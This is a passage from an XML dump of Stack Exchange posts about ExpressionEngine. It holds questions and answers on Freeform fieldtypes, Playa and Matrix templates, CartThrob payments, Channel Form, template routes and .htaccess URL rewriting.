8 is empty, this means that products was &lt;strong&gt;not&lt;/strong&gt; ordered. So I need a way to skip that one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've copied the &lt;code&gt;text&lt;/code&gt; field type as a base to start off of from the Freeform pre-installed FieldTypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;pre_process()&lt;/code&gt; method here is what I have created:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function pre_process($data)&#xA;{&#xA;    if(is_array($data)){&#xA;        $data_string = implode($data);&#xA;        // print_r($data_string);&#xA;        // First get all the products into single lines we can work with&#xA;        $process_product = explode(&quot;,&quot;, $data_string);&#xA;        // String to hold our return value&#xA;        $return_str = &quot;&quot;;&#xA;        // Loop through and process the extracted strings&#xA;        foreach($process_product as $value) {&#xA;            // Testing&#xA;            //echo($value . &quot;&amp;lt;br/&amp;gt;&quot;);&#xA;            try{&#xA;                // Split the string by the &quot;/&quot; delimiter&#xA;                $explode = explode(&quot;/&quot;, $value);&#xA;                // Count should always be 4, even if no QTY entered, it will contain &quot; &quot;&#xA;                if(count($explode) == 4){&#xA;                    list($sku, $descr, $price, $qty) = explode(&quot;/&quot;, $value);&#xA;                    // Checking if there really is a QTY&#xA;                    if (trim($qty) !== &quot;&quot;) {&#xA;                        // echo(&quot; SKU: &quot; . $sku . &quot; Description: &quot; . $descr . &quot; Price: $&quot; . $price . &quot; Qty: &quot; . $qty . &quot;&amp;lt;br/&amp;gt;&quot;);&#xA;                        $ordered_product = (&quot; SKU: &quot; . $sku . &quot;&amp;lt;br&amp;gt;&quot; . &quot; Description: &quot; . $descr . &quot;&amp;lt;br&amp;gt;&quot; . &quot; Price: $&quot; . $price . &quot;&amp;lt;br&amp;gt;&quot; . &quot; Qty: &quot; . $qty . &quot;&amp;lt;br&amp;gt;&quot;);&#xA;                        //echo($ordered_product);&#xA;                        $return_str .= $ordered_product . &quot;&amp;lt;br&amp;gt;&quot;;&#xA;                    }&#xA;                }&#xA;            }&#xA;            catch (Exception $e){&#xA;                log_message('error', $e-&amp;gt;getMessage()); &#xA;                return;&#xA;            } // end try/catch&#xA;        }// end for&#xA;&#xA;        // Final check to see if return_str is what we expect&#xA;        //echo($return_str);&#xA;        return $return_str;&#xA;    }&#xA;&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically I'm imploding the returned array so I can then delimit the string as needed.&#xA;The string will now be in the format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;1011/Product A/9.95/50,1011/Product B/24.95/,1011/Product C/11.95/12,&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is working for both the front-end within the &lt;code&gt;{exp:freeform:entries}&lt;/code&gt; tag pair, and also within the control panel. I get what I would expect. Basically it looks like this in the CP and on the front-end of the website:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SKU: 1011&#xA;Description: Product A&#xA;Price: $ 9.95&#xA;Qty: 50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But notifications are still receiving the original array in its entirety? This is my problem. I don't understand where the notifications are pulling the data from, and which function to use to process that data so I only get the data I need.&lt;/p&gt;&#xA;" OwnerUserId="2062" LastEditorUserId="2062" LastEditDate="2014-05-14T19:37:13.610" LastActivityDate="2014-05-15T19:21:32.960" Title="Solspace Freeform custom fieldtype and notifcation templates" Tags="|solspace-freeform|solspace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21969" PostTypeId="1" AcceptedAnswerId="22000" CreationDate="2014-05-14T20:43:22.490" Score="0" ViewCount="202" Body="&lt;p&gt;so I am trying to call a Playa (m_p_discipline) inside a Matrix (discipline_3rd_order) inside Playa (thirdorder) inside of channel:entry. I am using var=prefix to get this far. The results of my code is it lists all available playa list entries not just the ones I am trying to get. I must be close but something is off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for looking hope you can help!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;li&amp;gt;&#xA;            {thirdorder:discipline_3rd_order}&#xA;                {thirdorder:exp:playa:children field=&quot;m_p_discipline&quot; var_prefix=&quot;matrix_disipline&quot;}&#xA;                   {matrix_disipline:title}&#xA;                {/thirdorder:exp:playa:children}&#xA;            {/thirdorder:discipline_3rd_order}&#xA;        &amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2014-05-14T22:33:23.690" LastActivityDate="2014-06-24T02:20:20.403" Title="playa in a matrix inside a playa" Tags="|matrix|templates|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21970" PostTypeId="2" ParentId="21955" CreationDate="2014-05-14T21:11:43.330" Score="1" Body="&lt;p&gt;&lt;strong&gt;Store:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Derek mentioned you would need to create an extension to handle the logic of adding the user to a specific member group based upon their purchased items. Store does allow you to add a member to the default member group (per your membership settings) if they register a new account while they are completing checkout.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Registering Members&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Member accounts will be created based on the order_email, and the&#xA;  email address must not already be used for a member account. After&#xA;  creating the member account, any existing orders tied to that email&#xA;  address will be assigned to the new member.&lt;br&gt;&#xA;   &lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#registering_members&quot; rel=&quot;nofollow&quot;&gt;Docs Link&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Charge:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Docs about allowing member registration:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;MEMBER FIELDS&lt;/strong&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the create_member = 'yes' option is passed to the form, Charge can&#xA;  create a new member account during payment. The created member will&#xA;  only be created if the user isn't currently logged in. When created&#xA;  the member will be added to the default site member group and&#xA;  immediately logged in. This can be especially useful if you want to&#xA;  create + add a user to a subscription, as the member account will be&#xA;  created first, then immediately added to any subscription as defined&#xA;  in the Charge action settings&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As for Charge it does allow you to specify a member group that successful subscriptions members are moved to when they have an active subscription and the member group that they are moved to for a failed subscription or when the subscription expires. Having said that, the last time I looked you would still need to write an extension to handle setting the base member group and then having an alternative member group based upon 2 items in the cart or if the user has purchased one item already then comes back a week later and buys an item that should have them in the other member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the docs on specifying success member group:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Success Member Group&lt;/strong&gt; The member group the user will be moved to after a successful purchase.&#xA;  &lt;strong&gt;Failure Member Group&lt;/strong&gt; The member group the user will be moved to (if) their recurring payment fails. A failure can be caused by their&#xA;  payment being declined, their subscription ending (ie. if an Admin&#xA;  stops their plan from the Stripe dashboard), or other reasons.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If your site only had two items you could probably bypass the need for an extension by adding some additional template logic (I haven't tested and you might run into some parse order issues) and passing specific actions based upon the contents of the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;General Thoughts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having the ability to assign a member to a member group based upon a subscription purchase is fairly common (Charge, Membrr, and CartThrob Subscriptions all offer the functionality) but in all of those add-ons you (or you can pay someone) have to write an extension to handle the logic of determining which member group to assign someone based upon products they purchased and possibly their past purchases.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-05-14T22:59:40.503" LastActivityDate="2014-05-14T22:59:40.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21971" PostTypeId="2" ParentId="21866" CreationDate="2014-05-14T21:18:10.533" Score="0" Body="&lt;p&gt;So I, sort of, answered my question. Which only led to more questions!! See here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/21968/solspace-freeform-custom-fieldtype-and-notifcation-templates&quot;&gt;Solspace Freeform custom fieldtype and notifcation templates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2062" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-05-14T21:18:10.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21972" PostTypeId="1" CreationDate="2014-05-14T21:20:10.820" Score="0" ViewCount="138" Body="&lt;p&gt;I have an EE 2.7.3 site running CartThrob Pro 2.5. The site is running on a Nexcess server and we have SSL installed. We set up the gateway values for Paypal Website Payments Pro, and I have tested against the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sandbox with paypal sandbox testing credit card&lt;/li&gt;&#xA;&lt;li&gt;live mode with actual paypal values and two different &quot;real&quot; credit cards&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In all instances, we are getting the following error: &quot;Declined: Timeout processing request&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have verified that cURL is enabled. I also tested with the sample cart templates provided by CartThrob. We always get the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have advice on what to check or how to troubleshoot this one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Tim&lt;/p&gt;&#xA;" OwnerUserId="3108" LastActivityDate="2014-09-17T17:40:48.880" Title="CartThrob and PayPal Website Payments Pro - Declined: Timeout processing request" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21973" PostTypeId="1" CreationDate="2014-05-14T22:15:45.133" Score="0" ViewCount="619" Body="&lt;p&gt;I need to allow users the ability to create an entry via the front end hence I'm using Channel Form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the CP I have set up several custom fields in this channel to be either a Playa field or a Relationship field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Channel form page I am building SELECT statements by looping through a channel:entries tag building the value to be the entry_id and the text to be the title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I save the form the value of these fields are not being saved to either of the playa or relationship fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do this? Should I be passing in some other value other than the entry_id? I have the SELECT names set to the name of the custom field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and as an added complication the user is also selecting one of the site members. Currently I'm just saving the member_id to a text field so it's just showing up as a number. Is there any plugins I could use that would allow the editor in the CP to see the members name rather than their ID?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastEditorUserId="2290" LastEditDate="2014-05-14T22:22:14.727" LastActivityDate="2014-09-12T22:07:56.657" Title="Channel Form : Passing data into a Playa or Relationship field" Tags="|channel-entries|playa|members|channel-form|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21974" PostTypeId="2" ParentId="21901" CreationDate="2014-05-14T22:47:18.100" Score="3" Body="&lt;p&gt;Now I can help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&quot; rel=&quot;nofollow&quot;&gt;The &lt;code&gt;exp:channel:entries&lt;/code&gt; module just looks dynamically for an entry if its title appears on &lt;code&gt;segment_2&lt;/code&gt; or &lt;code&gt;segment_3&lt;/code&gt;&lt;/a&gt;. For your template, it appears on &lt;code&gt;segment_4&lt;/code&gt;. &lt;strong&gt;Buuuuuuuuuuut&lt;/strong&gt; template routes overrides this behavior. From the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/template_routes.html#usage&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Template Routes overrides the default behavior of URLs, if you wish to use a Channel Entries Tag in your template you must manually provide segments for any parameters that are normally set in the URL. You must provide a segment for pagination, categories, and entry titles if you wish to use those in your Channel Entries Tag. Additionally, be careful when using dynamic=”yes” with Template Routes, this can cause issues if your route does not have an appropriate segment set.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To make it work, set the &lt;code&gt;url_title&lt;/code&gt; parameter of the &lt;code&gt;exp:channel:entries&lt;/code&gt; and make it &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#dynamic&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;not&lt;/strong&gt; dynamic&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, on the template used for a single entry, &lt;code&gt;products/osc-overview&lt;/code&gt; in your case, replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;product_range&quot; limit=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;product_range&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; url_title=&quot;{segment_4}&quot; require_entry=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#require-entry&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;require_entry=&quot;yes&quot;&lt;/code&gt;&lt;/a&gt; to allow you to use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#if-no-results&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;no_results&lt;/code&gt; conditional&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The route segment still needs a name. For example, on the current routes setting, the forth segment is being called &quot;alpha_dash&quot;, what should be its rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/products/oscilloscopes/picoscope2000/{alpha_dash}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, add its name and use &lt;code&gt;alpha_dash&lt;/code&gt; as a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/template_routes.html#rules&quot; rel=&quot;nofollow&quot;&gt;rule&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/products/oscilloscopes/picoscope2000/{prod:alpha_dash}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, the &lt;code&gt;prod&lt;/code&gt; segment can be accessed on the &lt;code&gt;exp:channel:entries&lt;/code&gt; module variable by its right name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;product_range&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; url_title=&quot;{segment:prod}&quot; require_entry=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use this logic for your other pages.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-05-15T05:15:15.737" LastActivityDate="2014-05-15T05:15:15.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21975" PostTypeId="2" ParentId="21870" CreationDate="2014-05-14T23:05:31.897" Score="0" Body="&lt;p&gt;In order to use AJAX with Freeform Pro you create the form in the composer and then embed that form into a hidden template. You then create an additional html form manually which will actually be used and filled in by users. When you submit this form, you use AJAX to post it to the hidden template you previously created where it gets submitted and processed.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-05-14T23:05:31.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21976" PostTypeId="2" ParentId="21949" CreationDate="2014-05-15T00:09:41.560" Score="0" Body="&lt;p&gt;Maybe you could benefit from a module like this: &lt;a href=&quot;http://devot-ee.com/add-ons/reefine&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/reefine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might save re-inventing wheel, maybe.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-05-15T00:09:41.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21978" PostTypeId="2" ParentId="21947" CreationDate="2014-05-15T04:11:51.757" Score="1" Body="&lt;p&gt;I switched EE's resizing preferences (Admin &gt; System Administration &gt; Image Resizing Preferences) from ImageMagick to GD 2, deleted the contents of the cache/assets/thumbs directory, and on revisiting Assets module, the thumbnails all regenerated as hoped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In places I'm using Assets in a Matrix field, and processing them with CE Image in the templates, so while it's early days, it seems like a robust solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd have loved to find out why but I've lost too many hours to this already. If you have to press on with ImageMagick for any reason the most likely culprit would be the path setting, required only for ImageMagick, which may not have been correct, or maybe ImgeMagick was not even installed by my host on the live account space...&lt;/p&gt;&#xA;" OwnerUserId="3102" LastActivityDate="2014-05-15T04:11:51.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21979" PostTypeId="2" ParentId="21968" CreationDate="2014-05-15T05:01:02.313" Score="0" Body="&lt;p&gt;You can create custom notification templates from the &lt;strong&gt;Notifications&lt;/strong&gt; section in the Freeform module in the CP, and assign this notification template to your form, either from the CP in the &lt;strong&gt;Forms&lt;/strong&gt; section, or through parameters in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the CP when editing/creating a notification template, &lt;strong&gt;the notification email body can accept EE tags and variables&lt;/strong&gt;, including embeds. You could use your PHP logic above and put this in a template, followed by loading the template in the notification body as an embed. Possibly, you could instead put this PHP logic directly in the notification body, although there is no setting for a PHP input/output setting there.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-05-15T05:01:02.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21981" PostTypeId="1" AcceptedAnswerId="21983" CreationDate="2014-05-15T08:16:50.480" Score="0" ViewCount="20" Body="&lt;p&gt;i have a channel, called html5, that contains more articles (4 right now) and i have a template to show theese articles. When you open the website.com/html5, everything works: the default article is displayed, and the menu in sidebar contains all the articles listed, BUT, when you click on any of the links in the menu (redirecting you to website.com/html5/article-name), the right article is shown, but in the menu, just the active article is shown, and other articles just disappear. &lt;strong&gt;So i ask, how to list all articles in channel even in single-article page?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;overall/header&quot;}&#xA;&amp;lt;div class=&quot;row&quot; style=&quot;margin-top: 10px;&quot;&amp;gt;&#xA;            //Sidebar START&#xA;    &amp;lt;div class=&quot;large-4 columns&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;side-nav&quot;&amp;gt;&#xA;                //This shows static link to the home of the HTML section&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/html&quot;&amp;gt;HTML5&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                //And this lists all the articles... (The problem is right there!)&#xA;                {exp:channel:entries channel=&quot;html5&quot;}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path='html/index'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/exp:channel:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;            //Sidebar END&#xA;    &amp;lt;div class=&quot;large-16 columns&quot;&amp;gt;&#xA;        {if segment_2 == &quot;&quot;}&#xA;        //STATIC content goes here              &#xA;        {/if}&#xA;        {if segment_2}&#xA;&#xA;            {exp:channel:entries channel=&quot;html5&quot;}&#xA;                &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                {page_content}&#xA;           {/exp:channel:entries}&#xA;        {/if}&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{embed=&quot;overall/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3109" LastActivityDate="2014-05-15T09:24:59.820" Title="Problem with listing articles" Tags="|channel|list|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21982" PostTypeId="2" ParentId="21981" CreationDate="2014-05-15T09:20:58.387" Score="1" Body="&lt;p&gt;Use the &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; parameter on the channel entries tag for the menu, otherwise the channel entries tag will use the entry ID or url title from the URL to determine which entry to display.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-05-15T09:20:58.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21983" PostTypeId="2" ParentId="21981" CreationDate="2014-05-15T09:24:59.820" Score="1" Body="&lt;p&gt;On your side nav &lt;code&gt;{exp:channel: entries}&lt;/code&gt; tag you need to add &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; to tell EE to ignore the URL and list all entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep your standard/main EE tags as is and u should be golden.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-05-15T09:24:59.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21984" PostTypeId="1" AcceptedAnswerId="21991" CreationDate="2014-05-15T10:45:50.287" Score="0" ViewCount="56" Body="&lt;p&gt;I am inserting a para in one of the fields in table &lt;code&gt;exp_channel_data&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem i am facing while retrieving that data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose if the inserted para is like :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Kawhi Leonard had 22 points and seven rebounds as the San Antonio Spurs advanced to the Western Conference final with a dominant 104-82 win over Portland to give them a 4-1 series victory.&amp;lt;br/&amp;gt;Danny Green scored 22 points and Tim Duncan added 16 points with eight rebounds as the Spurs ensured a third straight conference final.&amp;lt;br/&amp;gt;Duncan said the Spurs are starting to come together at the right time.&amp;lt;br/&amp;gt;&quot;We got to the point now where we understand how we need to play for a longer period of time,&quot; Duncan said.&amp;lt;br/&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please notice the br tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I retrieve it back on my page,I get the br tags inside the decription..Is there any way i can make the br or p tag work?&lt;/p&gt;&#xA;" OwnerDisplayName="user2133" LastActivityDate="2014-05-15T14:35:09.780" Title="insert paragraph tag in exp_channel_data field?" Tags="|ee2|html|table|html-entities|encryption|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21985" PostTypeId="1" AcceptedAnswerId="21986" CreationDate="2014-05-15T12:43:02.647" Score="1" ViewCount="257" Body="&lt;p&gt;i was searching for a while, but my Google-fu probably isn't strong enough to find out, how to create a CKEditor Fieldtype, or find any plugin, that will do that for me. So what am i asking for? &lt;strong&gt;Does anybody know any EE2 compatible plugin, that will give me a CKEditor Fieldtype (Preferably free one)?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And additional question, is there any possibility to create new content and edit it using frontend forms (so moderators don't need to go to CP)?&lt;/p&gt;&#xA;" OwnerUserId="3109" LastActivityDate="2014-05-15T20:14:49.857" Title="CKEditor Integration" Tags="|ee2|wysiwyg|ckeditor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21986" PostTypeId="2" ParentId="21985" CreationDate="2014-05-15T13:30:05.940" Score="1" Body="&lt;p&gt;There are three commercial EE add-ons which use CKEditor - all very affordable:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/wygwam&quot; rel=&quot;nofollow&quot;&gt;Wygwam&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/expresso&quot; rel=&quot;nofollow&quot;&gt;Expresso&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/wyvern&quot; rel=&quot;nofollow&quot;&gt;Wyvern&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And yes, you can add/edit entries via a front-end form, using the included &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/&quot; rel=&quot;nofollow&quot;&gt;Channel Form module&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-15T13:30:05.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21987" PostTypeId="1" AcceptedAnswerId="21998" CreationDate="2014-05-15T13:32:18.753" Score="0" ViewCount="130" Body="&lt;p&gt;I want to achieve similar result like this page:&#xA;&lt;a href=&quot;http://www.zillow.com/homes/for_sale/Newark-NJ/12970_rid/40.749598,-74.169281,40.7296,-74.200952_rect/14_zm/1_fr/&quot; rel=&quot;nofollow&quot;&gt;http://www.zillow.com/homes/for_sale/Newark-NJ/12970_rid/40.749598,-74.169281,40.7296,-74.200952_rect/14_zm/1_fr/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply without the bells and whistles, let's say I wanna list the entries on the page using {exp:channel:entries channel=&quot;news&quot; limit=&quot;10&quot;} and then when visitor clicks on an entry on the list, I want to show the details of the selected entry on a slide panel on the same page using jquery. How can I achieve this? Any idea?&lt;/p&gt;&#xA;" OwnerUserId="1637" LastEditorUserId="1637" LastEditDate="2014-05-15T14:49:16.923" LastActivityDate="2014-05-15T18:36:30.857" Title="Channel entry detail on the same page with {exp:channel:entries} list" Tags="|channel-entries|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21988" PostTypeId="1" AcceptedAnswerId="22071" CreationDate="2014-05-15T13:44:05.620" Score="0" ViewCount="531" Body="&lt;p&gt;When I try and access channels in Expressionengin I get 404 pages...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A URL like &lt;a href=&quot;http://www.nameofsite/news/index.php&quot; rel=&quot;nofollow&quot;&gt;http://www.nameofsite/news/index.php&lt;/a&gt; tells me 'The requested URL /news/index.php was not found on this server.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I set the template for the channel to be the homepage it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to figure out what the issue might be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Expresssionengine use URL rewriting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I enter the following it works:&#xA;nameofsite.com/index.php/news.index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to clean up the structure so it is:&#xA;nameofsite.com/news&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt;&#xA;I turned of the &quot;template as home&quot; option and nameofsite.com/index.php/news.index.php no longer worked. Still stumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .htaccess code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;    RewriteBase /&#xA;&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;    RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;    RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;    # Directs all EE web requests through the site index file&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2954" LastEditorUserId="2954" LastEditDate="2014-05-20T08:36:13.537" LastActivityDate="2015-07-07T14:57:41.840" Title="404 when accessing channel content" Tags="|channel|404|" AnswerCount="3" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="21989" PostTypeId="2" ParentId="21963" CreationDate="2014-05-15T14:14:27.383" Score="1" Body="&lt;p&gt;Ended up paying EllisLab for support only to find out the newest version of Discussion Forum only works with EE v2.8+. They provided the next version down which is working fine.&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2014-05-15T14:14:27.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
